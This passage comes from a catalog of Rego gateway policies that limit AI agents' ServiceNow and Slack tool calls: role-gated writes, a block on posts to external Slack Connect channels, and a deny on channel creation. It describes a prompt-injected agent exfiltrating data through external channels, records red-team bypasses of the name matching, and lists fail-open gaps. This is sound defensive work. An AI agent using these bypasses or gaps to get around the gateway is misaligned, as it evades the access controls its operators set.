the skills/subflows/APIs an admin publishes, with no canonical vocabulary; this policy's read/write matching is built for the echelon-ai-labs and michaelbuckner `verb_noun` community vocabulary. For the official server you must supply a per-tenant tool inventory and map each name into the read helpers or `write_suffixes`. - **`natural_language_update` and `update_script` are inside the writer grant.** They perform an uninspectable free-text write and a server-side code edit respectively; a writer may call them. Stricter tenants should remove them from even the writer grant (see Tool name matching). - **Reads are open to everyone.** Read tools reach any table the instance credential can read (`sys_user`, HRSD case tables, `cmdb_ci`, custom PII tables via `perform_query` / `search_records` / `get_record`). This policy does not scope reads by table or redact responses — pair it with a read-fence and/or egress redaction if your instance holds regulated data. - **A server named with a write suffix** (e.g. an MCP server configured so its name ends in `...create_incident`) is a pathological case that would make matching over-broad; keep the configured server name distinct from the tool suffixes, or verify with the dump-input technique. > **Compliance note.** This policy supports alignment with the cited framework controls **on > the MCP path only**. No policy or bundle makes an organization compliant with any framework; > web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate > against your own compliance program before relying on it. ```rego package servicenow.ingress.role_gate_writes # Deny-by-default: reads are explicitly allowed below, verified writes require # the writer group, and anything unrecognized (unknown/renamed tool, missing # name) fails closed so a write can never slip through unclassified. default allow := false # Placeholder IdP group permitted to perform ServiceNow writes. # Replace "servicenow-writers" with your IdP's group name at import time. writer_group := "servicenow-writers" # Lowercased tool name. The gateway prefixes tool names with the configured # MCP server name (e.g. `servicenow-mcp-create_incident`), so all matching # below is case-insensitive and suffix/segment based to stay portable. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim # that is not an array all yield "not a writer" — writes then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) caller_is_writer if { is_array(caller_groups) some group in caller_groups group == writer_group } # --- Read-tool detection (echelon-ai-labs / michaelbuckner verb_noun vocab) --- # `list_` / `get_` recognized as a read verb: at the start of the name # (unprefixed) or right after the gateway's `-` server-name prefix delimiter # (e.g. `servicenow-mcp-list_incidents`). # # We deliberately do NOT treat a `_`-delimited match (`_get_` / `_list_`) as a # read verb. In the verb_noun snake_case vocabulary an underscore is *within* a # tool name, so an underscore-infix match cannot be distinguished from a genuine # read verb — e.g. an instance-defined write subflow named # `incident_get_and_resolve` or `case_list_and_close` embeds `_get_`/`_list_` # yet is a write. Matching those as reads let writes slip through unclassified # (red-team finding). Only the hyphen boundary — the real prefix delimiter the # gateway uses — and the start of the name are trusted. See Known limitations # for the residual (a write whose name *starts* with a read verb) and the # `_`-delimited-prefix caveat. read_prefixes := ["list_", "get_"] has_read_prefix if { some prefix in read_prefixes startswith(tool_name, prefix) } has_read_prefix if { some prefix in read_prefixes contains(tool_name, concat("", ["-", prefix])) } # Exact read tools that carry no list_/get_ prefix. read_suffixes := ["search_records", "perform_query", "natural_language_search"] # Recognized at a name boundary only — the bare name (unprefixed) or right after # the gateway's `-` server-name prefix delimiter — mirroring has_read_prefix. We # deliberately do NOT use a bare `endswith` here: an unanchored `endswith` would # treat any instance-defined tool whose name merely *ends* with one of these # (e.g. a write subflow `incident_close_and_search_records`, or `search_records` # reached under a `_`-joined server prefix) as a read and allow it for everyone # (red-team finding, now closed). Anchoring to the start or the `-` boundary # keeps the three reads recognized under the real `-` prefix while failing such # underscore-infix look-alikes closed — consistent with the `_`-prefix caveat # documented for the list_/get_ verbs. has_read_suffix if { some suffix in read_suffixes tool_name == suffix } has_read_suffix if { some suffix in read_suffixes endswith(tool_name, concat("", ["-", suffix])) } is_read_tool if has_read_prefix is_read_tool if has_read_suffix # --- Write-tool detection (verified suffixes) --- # Matched by suffix so any gateway server-name prefix still matches. Grouped by # ServiceNow surface; see the description for the per-suffix rationale. write_suffixes := [ # Incident / ticket "create_incident", "update_incident", "add_comment", "add_work_notes", "resolve_incident", # Change "create_change_request", "update_change_request", "add_change_task", # Agile "create_story", "update_story", "create_epic", "update_epic", "create_scrum_task", "update_scrum_task", "create_project", "update_project", # Catalog "create_catalog_category", "update_catalog_category", "move_catalog_items", "update_catalog_item", "create_catalog_item_variable", "update_catalog_item_variable", "create_category", # Knowledge "create_knowledge_base", "create_article", "update_article", "publish_article", # Free-text write / server-side code "natural_language_update", "update_script", # Platform code "create_workflow", "update_workflow", "delete_workflow", "create_script_include", "update_script_include", "delete_script_include", "create_ui_policy", "create_ui_policy_action", # Changeset / update-set "create_changeset", "update_changeset", "commit_changeset", "publish_changeset", "add_file_to_changeset", ] is_write_tool if { some suffix in write_suffixes endswith(tool_name, suffix) } # --- Decision --- # Reads pass for everyone. The `not is_write_tool` guard keeps the stricter # class winning if a name were ever both (none in the current sets). allow if { is_read_tool not is_write_tool } # Verified writes pass only for members of the writer group. allow if { is_write_tool caller_is_writer } # Denied write by a non-writer: name the required group and point to the gateway # admin who maps IdP groups. reasons contains msg if { is_write_tool not caller_is_writer msg := sprintf("ServiceNow write tools are restricted to members of the '%s' group — this account has read-only ServiceNow access through the gateway. Ask your gateway admin to map your IdP group to '%s', or hand this write to a teammate with ServiceNow write access. If this tool is actually read-only, contact your gateway admin to update the policy.", [writer_group, writer_group]) } # Fail-closed deny: the tool is neither a recognized read nor a verified write # (unknown/renamed upstream tool, or a call with no tool name). Denied for # everyone, including writers, until an operator classifies it. reasons contains msg if { not is_read_tool not is_write_tool msg := sprintf("This ServiceNow tool (%q) is not on the gateway's read allowlist or verified write list, so it is denied by default (fail closed). ServiceNow tool names can be instance-defined; ask your gateway admin to classify this tool — add it to the read set, or to the gated write set for the 'servicenow-writers' group — in the policy.", [tool_name]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Slack Role-Gate Writes URL: https://www.intentbasedpolicy.com/policies/slack/role-gate-writes App(s): slack | Direction: ingress | Bundles: slack, im-messaging, soc2, gdpr-ccpa | Package: slack.ingress.role_gate_writes | Published: 2026-07-12 | Tags: slack, role-gate-writes, access-control, least-privilege, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/role-gate-writes/policy.md # slack / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `slack.ingress.role_gate_writes` ## What it does Gates every Slack write-class tool behind an IdP group: callers whose JWT `groups` claim contains `slack-writers` may send and schedule messages, add or remove reactions, create and update canvases, and manage saved items and user groups; everyone else gets a read-only Slack posture through the agent channel. All read tools (search, history, channel/user lookups, profile and canvas reads) pass for every caller. The group check is **fail-closed**: if the caller has no `subject.claims`, no `groups` claim, or a `groups` claim that is not a list of strings, write tools are denied. A missing claim never grants write access. Even the official server's low-risk `slack_send_message_draft` (creates an unsent draft) is treated as a write — drafts are staged sends, and gating them keeps the read-only posture unambiguous. ## Compliance alignment - **SOC 2 CC6.1; CC6.3** — logical access security and role-based least privilege: Slack mutations through the agent channel require an explicit IdP group membership; the default posture is read-only. - **HIPAA §164.308(a)(4); §164.312(a)(1)** — information access management and access control on the MCP path: for workspaces where channel and DM content can carry health-related disclosures, writes are authorized per caller identity, keyed to live IdP claims. - **PCI DSS 7.2.1; 7.2.2; 7.2.5** — least-privilege access model: agent-channel users get the minimum access (read) unless their role requires write, and the broad OAuth grant the Slack MCP server holds is narrowed per caller. - **GDPR Art. 25; Art. 29** — data protection by default on the agent channel, and processing of personal data only by persons acting under the controller's authorization. - **SOX ITGC — access to programs and data** — least-privilege write access through the agent channel to a communication system whose messages can move market-relevant and financial information, keyed to live IdP group membership. ## Why ingress Slack writes are externally visible the instant they land — a sent message reaches humans (including external orgs via Slack Connect shared channels) and is effectively irreversible, a scheduled message time-shifts the send past any live session review, and user-group mutations change org paging and escalation structure. Denying at ingress means an unauthorized write never reaches Slack. ## Tool name matching The policy keys on the **tool name only**. It reads the tool name from **both** the PARC `input.resource.name` and the legacy `input.payload.name` — both are populated on tool hooks and carry the same value, and `payload.name` is the actual invocation target — lowercases and normalizes each (hyphens → underscores; a missing **or non-string** name coerces to the empty string), and treats the call as a write if **either** name matches the write vocabulary by suffix. Checking both fields means a request cannot disable the gate by carrying the write name only under `payload.name`, by leaving `resource.name` empty, or by planting a non-string value (an object/number/array) in one field to poison the other — each field is normalized independently, so a garbage value in one never suppresses detection of a real write name in the other. The write vocabulary covers all three server generations in real use (the DTwo gateway prefixes tool names with the configured server name, so suffix matching stays portable; normalization covers deployments that observed kebab-case naming): - **Official Slack MCP server** (`mcp.slack.com`, the Claude connector's server): `slack_send_message`, `slack_schedule_message`, `slack_send_message_draft`, `slack_create_canvas`, `slack_update_canvas`. - **korotovsky community server**: `conversations_add_message`, `reactions_add`, `reactions_remove`, `conversations_mark`, `saved_update`, `saved_clear_completed`, `usergroups_create`, `usergroups_update`, `usergroups_users_update`. - **Archived reference server** (legacy, still widely forked): `slack_post_message`, `slack_reply_to_thread`, `slack_add_reaction`. Anything not on the write list — including every read tool of all three server generations — is allowed for all callers. Verify the exact tool names your gateway sends with the dump-input debug technique before relying on this in production, and extend `write_suffixes` if your server exposes additional mutating tools. ## Argument shape None assumed. The policy decides on the tool name alone and never inspects `input.payload.args`. The identity check reads `input.subject.claims.groups` via `object.get` chains and expects an array of strings (the common IdP shape for a groups claim). Group comparison is exact (case-sensitive). ## Examples ### Allowed (read tool, any caller) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_read_channel", "type": "tool" }, "subject": { "sub": "auth0|reader", "claims": { "groups": ["support"] } }, "payload": { "name": "slack-mcp-slack_read_channel", "args": { "channel_id": "C0123456789" } } } } ``` `allow = true`, no reason. ### Allowed (write tool, group member) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_send_message", "type": "tool" }, "subject": { "sub": "auth0|writer", "claims": { "groups": ["slack-writers"] } }, "payload": { "name": "slack-mcp-slack_send_message", "args": { "channel_id": "C0123456789", "message": "shipping at 3" } } } } ``` `allow = true`, no reason. ### Denied (write tool, non-member) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_send_message", "type": "tool" }, "subject": { "sub": "auth0|reader", "claims": { "groups": ["support"] } }, "payload": { "name": "slack-mcp-slack_send_message", "args": { "channel_id": "C0123456789", "message": "shipping at 3" } } } } ``` `allow = false`, `reason = "Slack write tools are limited to members of the 'slack-writers' group — your Slack access through the agent channel is read-only. If you believe this is a false positive, ask your administrator to add you to the writers group."`. ## Composition This policy is the baseline least-privilege layer for Slack; it **composes with** (does not replace) the targeted deny policies: - [`slack/deny-channel-creation`](../deny-channel-creation/policy.md) and [`slack/deny-direct-messages`](../deny-direct-messages/policy.md) still apply to members of the writers group — a `slack-writers` member can post, but still cannot create channels or write into DMs while those policies are attached. - [`slack/block-secrets`](../block-secrets/policy.md) — DLP on the message body for the sends this policy permits. - [`slack/guard-dm-privacy`](../guard-dm-privacy/policy.md) — the read-side counterpart, gating DM/private-channel search and history. - [`slack/redact-sensitive-info`](../redact-sensitive-info/policy.md) — egress masking on what comes back. See the [`bundles/slack`](../../../bundles/slack/README.md) and [`bundles/im-messaging`](../../../bundles/im-messaging/README.md) bundles for the curated sets. ## Known limitations - **Group name is a placeholder.** Replace `slack-writers` (the `writers_group` constant in the Rego) with your IdP's real group name at import time. Group comparison is exact and case-sensitive. - **Groups claim must be an array of strings.** The Rego guards on `is_array(caller_groups)`, so every other shape fails closed and denies all writes: a single string (e.g. `"slack-writers"`), an object/map (a map's values are *not* treated as memberships — this guard is why), a number, or `null`. If your IdP emits `groups` as a string, a map, or a namespaced custom claim (e.g. `https://acme.com/groups`), point `caller_groups` at the real array location — until then, all writes are denied for every caller (fail-closed). - **Official tool names are observed-current, not contractual.** Slack publishes exact names only at runtime and says to treat `tools/list` as the source of truth; names can change. The five official write names here are corroborated across catalogs and integration guides as of mid-2026 — re-verify after server updates. - **Write list is a blocklist.** New mutating tools added by a server upgrade are allowed until added to `write_suffixes`. Slack's docs also describe reaction, file, and channel/DM-creation capabilities on the official server whose tool names were not verifiable — they are deliberately not matched here (do not police guessed names). For a fail-closed posture on unknown tools, compose with a default-deny allowlist policy instead. - **Suffix over-match.** Generic suffixes like `reactions_add` or `saved_update` could match a non-Slack tool with the same ending on a shared pipeline. Scope the pipeline to the Slack server, or narrow the suffixes, if that is a concern. - **Nameless requests pass.** If a request carries no tool name under *either* `resource.name` or `payload.name` — or carries a non-string value (an object/number/array) in *both* fields, which each coerce to the empty string — no write suffix can match and the call is allowed; there is no tool name for this policy to gate. (A non-string in only *one* field does **not** open the gate: the other field is still checked, so a real write name there is still caught — see the poison-proof note under Tool name matching.) A normal `tool_pre_invoke` always names its tool, so this affects only malformed or mis-routed hooks; compose with a default-deny allowlist policy if you need unknown-shape requests denied outright. - **Name-only decision.** The policy cannot distinguish destinations or content — a writers-group member can post anywhere the token reaches. Compose with the targeted policies above to constrain *what* writers can do. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.role_gate_writes # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group allowed to call Slack write tools. # Replace with your IdP's real group name at import time. writers_group := "slack-writers" # Write-tool suffixes across the three Slack MCP server generations in real # use. Matched against the lowercased, hyphen-normalized resource name (the # gateway prefixes tool names with the configured server name, so we match # by suffix to stay portable). Verify exact names with the dump-input debug # technique before deploying. write_suffixes := [ # --- Official Slack MCP server (mcp.slack.com; names observed via # tools/list — Slack says to treat tools/list as source of truth) --- "slack_send_message", "slack_schedule_message", "slack_send_message_draft", "slack_create_canvas", "slack_update_canvas", # --- korotovsky community server (Slack-Web-API-style object_verb) --- "conversations_add_message", "reactions_add", "reactions_remove", "conversations_mark", "saved_update", "saved_clear_completed", "usergroups_create", "usergroups_update", "usergroups_users_update", # --- Archived reference server (legacy, still widely forked) --- "slack_post_message", "slack_reply_to_thread", "slack_add_reaction", ] # The tool identity can arrive under the PARC `resource.name` or the legacy # `payload.name`. Both are populated on tool hooks and documented to carry the # same value, and `payload.name` is the actual invocation target — so we check # BOTH. Keying on `resource.name` alone lets a request disable the write gate # by carrying the write name only under `payload.name` (or by leaving # `resource.name` empty/absent), which would let every write through as a # non-writer. `object.get(..., "")` makes a missing name normalize to the empty # string, which matches no suffix, so a missing field never opens the gate. # # Hyphens are normalized to underscores so both kebab-case and snake_case # deployments match the same suffix list (e.g. `slack-mcp-slack-send-message` # and `slack-mcp-slack_send_message` both normalize to `..._slack_send_message`). # # A missing OR non-string name coerces to "" (matches no suffix). This is # fail-closed for detection AND poison-proof: `lower()` errors on a non-string, # which without the `is_string` guard would leave the rule undefined and make # the `[resource_tool_name, payload_tool_name]` array undefined — silently # disabling the write gate whenever EITHER field carried a non-string value # (an object/number/array), even while the other field carried a real write # name. Coercing per field keeps a non-string in one field from disabling # detection of the write name in the other. normalized_name(obj) := replace(lower(name), "-", "_") if { name := object.get(obj, "name", "") is_string(name) } normalized_name(obj) := "" if { not is_string(object.get(obj, "name", "")) } resource_tool_name := normalized_name(object.get(input, "resource", {})) payload_tool_name := normalized_name(object.get(input, "payload", {})) is_slack_write_tool if { some candidate in [resource_tool_name, payload_tool_name] some suffix in write_suffixes endswith(candidate, suffix) } # Fail-closed groups lookup: missing subject, missing claims, or a missing # groups claim all resolve to [] and grant nothing. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) # Exact, case-sensitive group match. The `is_array` guard makes every # non-array shape fail closed: a string groups claim (e.g. "slack-writers") # yields no bindings anyway, but an OBJECT/map claim would otherwise have # `some group in caller_groups` iterate its VALUES — so a map whose value # happened to equal the writers group would wrongly grant. Requiring an # array first honors the documented "must be a list of strings" contract: # string, object, number, and null groups claims all deny. caller_is_writer if { is_array(caller_groups) some group in caller_groups group == writers_group } # Read tools (anything not on the write list) pass for every caller. allow if { not is_slack_write_tool } # Write tools pass only for members of the writers group. allow if { is_slack_write_tool caller_is_writer } reasons contains "Slack write tools are limited to members of the 'slack-writers' group — your Slack access through the agent channel is read-only. If you believe this is a false positive, ask your administrator to add you to the writers group." if { is_slack_write_tool not caller_is_writer } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Slack: Block Agent Posts to External Channels URL: https://www.intentbasedpolicy.com/policies/slack/guard-external-send App(s): slack | Direction: ingress | Bundles: slack, im-messaging, soc2, gdpr-ccpa, hipaa | Package: slack.ingress.guard_external_send | Published: 2026-07-12 | Tags: slack, guard-external-send, slack-connect, exfiltration, ingress, soc2, gdpr-ccpa, hipaa Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/guard-external-send/policy.md # slack / guard-external-send **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `slack.ingress.guard_external_send` **Family:** PF-04 (`guard-external-send`) ## What it does Denies Slack message-write calls whose destination is an externally shared Slack Connect channel. A message posted to a Connect channel is visible to another organization the instant it lands and is effectively irreversible (the external side sees and can export it even if it is later deleted) — making these channels the primary exfiltration path when an agent is prompt-injected by content it read elsewhere. The policy matches the send-class tool suffixes across all three Slack MCP servers in real use (`_send_message`, `_schedule_message`, `_post_message`, `_reply_to_thread`, `_add_message`) and denies when the call's channel argument is in the `external_channel_ids` set maintained at the top of the Rego. `slack_schedule_message` is included explicitly because its `post_at` argument time-shifts delivery past any live human review of the session. Callers whose IdP `groups` claim contains `slack-external-comms` are exempt. Missing identity fails closed: no subject, no claims, or no matching group means no exemption. Sends to channels not in the list — internal channels, DMs, and drafts (`slack_send_message_draft` creates an unsent draft and is not matched) — pass through untouched. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information by stopping agent-authored messages from moving into channels shared with another organization; **P6.1** — supports controls over PI disclosure to third parties: an externally shared channel *is* a third-party disclosure surface. - **GDPR Arts. 44/46** — supports control over cross-border transfers on agent-visible flows: the external org behind a Connect channel may be in any jurisdiction, so an agent post there is an uncontrolled transfer; **Art. 5(1)(f)/32** — supports security of processing by closing the highest-blast-radius outbound path on the Slack agent channel. - **HIPAA §164.530(c)** — supports privacy safeguards by keeping agent-composed content (which may carry PHI read earlier in the session) out of channels visible to outside organizations. ## Why ingress The destination is fully visible in the request, and a send is a write with permanent external side effects — once the call reaches Slack, the external organization has the message. Egress inspection would run *after* delivery. Ingress denial is the only placement that actually prevents the disclosure. ## Tool name matching Matching is case-insensitive and by suffix, because the DTwo gateway prefixes tool names with the configured MCP server name (e.g. `slack-mcp-slack_send_message`) and that prefix is not standardized. Hyphens are normalized to underscores before matching, so deployments whose gateway names tools like `slack-mcp-slack-post-message` are also covered. The five suffixes and their sources: - `_send_message` — official Slack MCP server (`slack_send_message`). - `_schedule_message` — official server (`slack_schedule_message`); included explicitly because `post_at` delays delivery past live review. - `_post_message` — archived reference server (`slack_post_message`). - `_reply_to_thread` — archived reference server (`slack_reply_to_thread`). - `_add_message` — korotovsky community server (`conversations_add_message`). The official server's tool names are observed at runtime (`tools/list` is Slack's stated source of truth), not contractual — verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and extend `send_tool_suffixes` if your server exposes additional send-class tools. ## Argument shape The destination is read from `input.payload.args.channel_id` — the key used by all three servers per the mid-2026 landscape research — with a defensive fallback to `args.channel`, seen in some deployments. All access goes through `object.get`, so a missing argument simply doesn't match (see Known limitations for the fail-open consequence). Non-string values (an arg passed as an array or number) are skipped, and surrounding whitespace is stripped (`trim_space`) before the comparison so a padded value like `"C0EXTPARTNER1 "` or `" #acme-partnership"` cannot slip past the set. Membership in `external_channel_ids` is otherwise an exact string match, which also lets you list korotovsky `#name` / `@username_dm` alias forms alongside `C`-prefixed IDs. ## Examples ### Denied (send to a Slack Connect channel) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_send_message", "type": "tool" }, "payload": { "name": "slack-mcp-slack_send_message", "args": { "channel_id": "C0EXTPARTNER1", "message": "Q3 roadmap attached" } } } } ``` `allow = false`, `reason = "This channel is shared externally via Slack Connect ..."`. ### Denied (scheduled send — time-shifted past live review) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_schedule_message", "type": "tool" }, "payload": { "name": "slack-mcp-slack_schedule_message", "args": { "channel_id": "C0EXTPARTNER1", "message": "hi", "post_at": 1784000000 } } } } ``` `allow = false`, same reason. ### Allowed (send to an internal channel) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack_send_message", "type": "tool" }, "payload": { "name": "slack-mcp-slack_send_message", "args": { "channel_id": "C0123456789", "message": "lunch in 5" } } } } ``` `allow = true`, no reason. ### Allowed (exempt caller) A caller whose `input.subject.claims.groups` contains `slack-external-comms` may post to listed external channels. ## Composition Single-purpose; composes with the other Slack ingress policies: - [`block-secrets`](../block-secrets/policy.md) — content-based DLP on the same send path (this policy gates the *destination*, that one gates the *body*). - [`deny-direct-messages`](../deny-direct-messages/policy.md) — blocks the DM send surface this policy does not cover. - [`guard-dm-privacy`](../guard-dm-privacy/policy.md) — read-side privacy guard; together they bound what an injected agent can read and where it can send it. ## Known limitations - **The channel list must be curated.** The gateway cannot detect Slack Connect status dynamically — the request carries only a channel ID, and Connect membership lives server-side in Slack. Your Slack workspace admin must maintain `external_channel_ids` (Slack admin UI → *Administration → Manage organizations / Slack Connect* lists all externally shared channels). A Connect channel missing from the list is **not** blocked. The shipped IDs are placeholders — replace them at import time. - **korotovsky `#name` aliases bypass ID matching unless also listed.** The community server resolves `#channel-name` aliases to channels server-side, so an alias send reaches a listed channel without its `C`-ID ever appearing in the request. Residual risk unless you list the alias form (e.g. `#acme-partnership`) alongside the ID, as the shipped placeholder set demonstrates. Renamed channels change the alias but not the ID — the ID entry keeps working. - **Missing `channel_id` fails open.** A send call with no `channel_id` / `channel` argument (or the destination under a different key) is not matched — this is a destination blocklist, not a default-deny on sends. The three landscape servers all use `channel_id`; re-verify if yours differs. - **Exact-match brittleness beyond whitespace.** The destination test is a case-sensitive exact match after `trim_space` strips surrounding ASCII/ Unicode whitespace, so padded forms (`"C0EXTPARTNER1 "`, a trailing newline, `" #acme-partnership"`) are now caught. Slack channel IDs are case-sensitive and Slack lowercases channel names, so list `C`-IDs exactly and aliases in lowercase. Residual: exotic invisible code points (e.g. zero-width characters) are not stripped and would not match a listed value — but such a value is not a deliverable channel on Slack either, so the residual risk is bounded to servers that silently normalize them upstream. - **New send-class tool names are not auto-covered.** Slack documents capabilities (reactions, channel/DM creation, file ops) whose tool names were not verifiable from docs; if the official server ships new write tools with other suffixes, add them to `send_tool_suffixes`. - **Canvas writes are a separate surface, not covered here.** The official server's `slack_create_canvas` / `slack_update_canvas` are a persistent, linkable exfil/defacement surface (see the Slack landscape note), but their arguments carry no channel destination (`title`/`content`, `canvas_id`/`action`/`content`) — a *destination* blocklist has nothing to match on, so canvas writes pass through. This is by design (one policy, one job): gate canvas content with a body-DLP policy such as [`block-secrets`](../block-secrets/policy.md), not with this destination guard. - **Group name is a placeholder** — replace `slack-external-comms` with your IdP's group name at import time. The exemption fails closed when the caller has no `groups` claim. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.guard_external_send # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # ----------------------------------------------------------------------------- # Externally shared (Slack Connect) channels — CURATE THIS LIST. # The gateway cannot detect Connect status dynamically; your Slack workspace # admin maintains this set. Exact string match, so korotovsky #name aliases # can (and should) be listed alongside the C-prefixed channel IDs. # The entries below are placeholders — replace them at import time. # ----------------------------------------------------------------------------- external_channel_ids := { "C0EXTPARTNER1", # placeholder — Slack Connect channel ID "C0EXTPARTNER2", # placeholder — Slack Connect channel ID "#acme-partnership", # placeholder — korotovsky #name alias for a listed channel } # Placeholder IdP group whose members may post to external channels. # Replace "slack-external-comms" with your IdP's group name at import time. external_comms_group := "slack-external-comms" # Tool arguments, safe against a missing payload/args. args := object.get(object.get(input, "payload", {}), "args", {}) # ----------------------------------------------------------------------------- # Exemption — fails closed: no subject, no claims, or no groups → not exempt. # ----------------------------------------------------------------------------- caller_exempt if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) some g in groups g == external_comms_group } # ----------------------------------------------------------------------------- # Send-class tools across the three Slack MCP servers in real use. Matched by # suffix because the gateway prefixes tool names with the configured MCP # server name; hyphens are normalized to underscores so hyphenated gateway # naming is covered too. Note `slack_send_message_draft` (unsent draft, low # risk) does NOT end with any of these suffixes and passes through. # ----------------------------------------------------------------------------- send_tool_suffixes := { "_send_message", # official: slack_send_message "_schedule_message", # official: slack_schedule_message (post_at delays delivery past live review) "_post_message", # archived reference server: slack_post_message "_reply_to_thread", # archived reference server: slack_reply_to_thread "_add_message", # korotovsky: conversations_add_message } is_send_tool if { normalized := replace(lower(input.resource.name), "-", "_") some suffix in send_tool_suffixes endswith(normalized, suffix) } # ----------------------------------------------------------------------------- # Destination extraction. All three landscape servers use `channel_id`; # `channel` is a defensive fallback seen in some deployments. Non-string # values (arrays/numbers) are skipped, surrounding whitespace is trimmed so a # padded channel ID cannot slip past the exact-match set, and empty values are # dropped so a missing argument cannot match a set entry. # ----------------------------------------------------------------------------- recipient_values contains v if { some key in {"channel_id", "channel"} raw := object.get(args, key, "") is_string(raw) v := trim_space(raw) v != "" } targets_external_channel if { is_send_tool some v in recipient_values external_channel_ids[v] } # ----------------------------------------------------------------------------- # Decision # ----------------------------------------------------------------------------- # Anything not sending to a listed external channel passes through. allow if { not targets_external_channel } # Members of the exemption group may post to listed external channels. allow if { targets_external_channel caller_exempt } reasons contains "This channel is shared externally via Slack Connect — a message posted here is visible to another organization the moment it lands and cannot be recalled. Posting to externally shared channels requires a human send from the Slack client. If your role requires agent posts to external channels, ask your InfoSec team for the slack-external-comms group; if this channel is no longer externally shared, ask your Slack workspace admin to remove it from the external channel list." if { targets_external_channel not caller_exempt } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Slack: Deny Channel Creation URL: https://www.intentbasedpolicy.com/policies/slack/deny-channel-creation App(s): slack | Direction: ingress | Bundles: slack, soc2 | Package: slack.ingress.deny_channel_create | Published: 2026-07-12 | Tags: slack, access-control, governance, ingress, soc2, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/slack/deny-channel-creation/policy.md # slack / deny-channel-creation **Direction:** ingress (`tool_pre_invoke`) **Default:** allow, with a targeted deny on channel-creation calls **Package:** `slack.ingress.deny_channel_create` ## What it does Blocks Slack channel-creation tool calls at ingress. Every other Slack tool — and every non-Slack tool — passes through untouched. A blocked call returns a clear denial reason instead of creating a channel. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security by removing a workspace-structure mutation from the agent's reach on the MCP path. - **SOC 2 CC6.3** — supports role-based access and least privilege: agents get no channel-creation capability by default, regardless of what the underlying OAuth grant allows. - **ISO 27001 A.5.15 / NIST 800-53 AC-3** — access-control enforcement on the agent channel for a write the connected identity could otherwise perform. - **GDPR Art. 25** — supports data protection by design and by default for the agent channel: structural workspace changes are off unless deliberately enabled. ## Why ingress Creating a channel is a write with a permanent side effect on the workspace. The violation is fully determined by the request (the tool name alone), so denying at ingress prevents the channel from ever being created. ## How it matches Two conditions must both hold for a call to be denied: - **Slack-server scoping.** The first hyphen-separated segment of the tool name starts with `slack`. This matches `slack-...`, `slack-prod-...`, `slack-mcp-...`, etc., so the policy keeps working regardless of how the Slack MCP server is named on a given gateway. - **Create-channel detection.** The (lowercased) tool name ends with one of the known create-channel suffixes. Both common naming families are covered: - verb-first shapes: `-create-conversation`, `-create-channel`, and their `_`-separated and concatenated variants; - Slack-API-mirroring shapes: `-conversations.create`, `-conversations-create`, `-conversations_create`. Tool names on the gateway are prefixed with the configured MCP server name and that prefix is not standardized, which is why this matches on suffix rather than an exact name. Confirm the exact tool name your gateway emits with the dump-input debug technique before relying on this in production, and add any missing shape to `create_channel_suffixes`. ## Examples ### Denied (channel creation) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-conversations-create", "type": "tool" }, "payload": { "name": "slack-mcp-conversations-create", "args": { "name": "incident-2026-06" } } } } ``` `allow = false`, `reason = "Creating Slack channels is not permitted via this gateway. ..."`. ### Allowed (any other Slack tool) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "slack-mcp-slack-post-message", "type": "tool" }, "payload": { "name": "slack-mcp-slack-post-message", "args": { "channel": "C123", "text": "hello" } } } } ``` `allow = true`, no reason. ## Composition Single-purpose and `default allow := true`, so it composes cleanly with other Slack ingress policies (e.g. [`block-secrets`](../block-secrets/policy.md)) on the same pipeline. ## Known limitations - **Suffix list, not an exhaustive catalog.** Only the create-channel tool shapes listed in `create_channel_suffixes` are matched. If a Slack MCP server exposes channel creation under a different tool name, add its suffix. - **No identity-based exemptions.** All callers are treated the same. To allow a specific admin/break-glass user to create channels, gate a separate `allow if` branch on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package slack.ingress.deny_channel_create # Default-allow: only deny Slack channel-creation calls. default allow := true # ----------------------------------------------------------------------------- # Tool matching # ----------------------------------------------------------------------------- # Slack channel-creation tool names vary by MCP server implementation. Cover # the common shapes via endswith on the lowercased resource name. create_channel_suffixes := { # Verb-first ("create conversation/channel") — a common Slack MCP shape. "-create-conversation", "-create_conversation", "-createconversation", 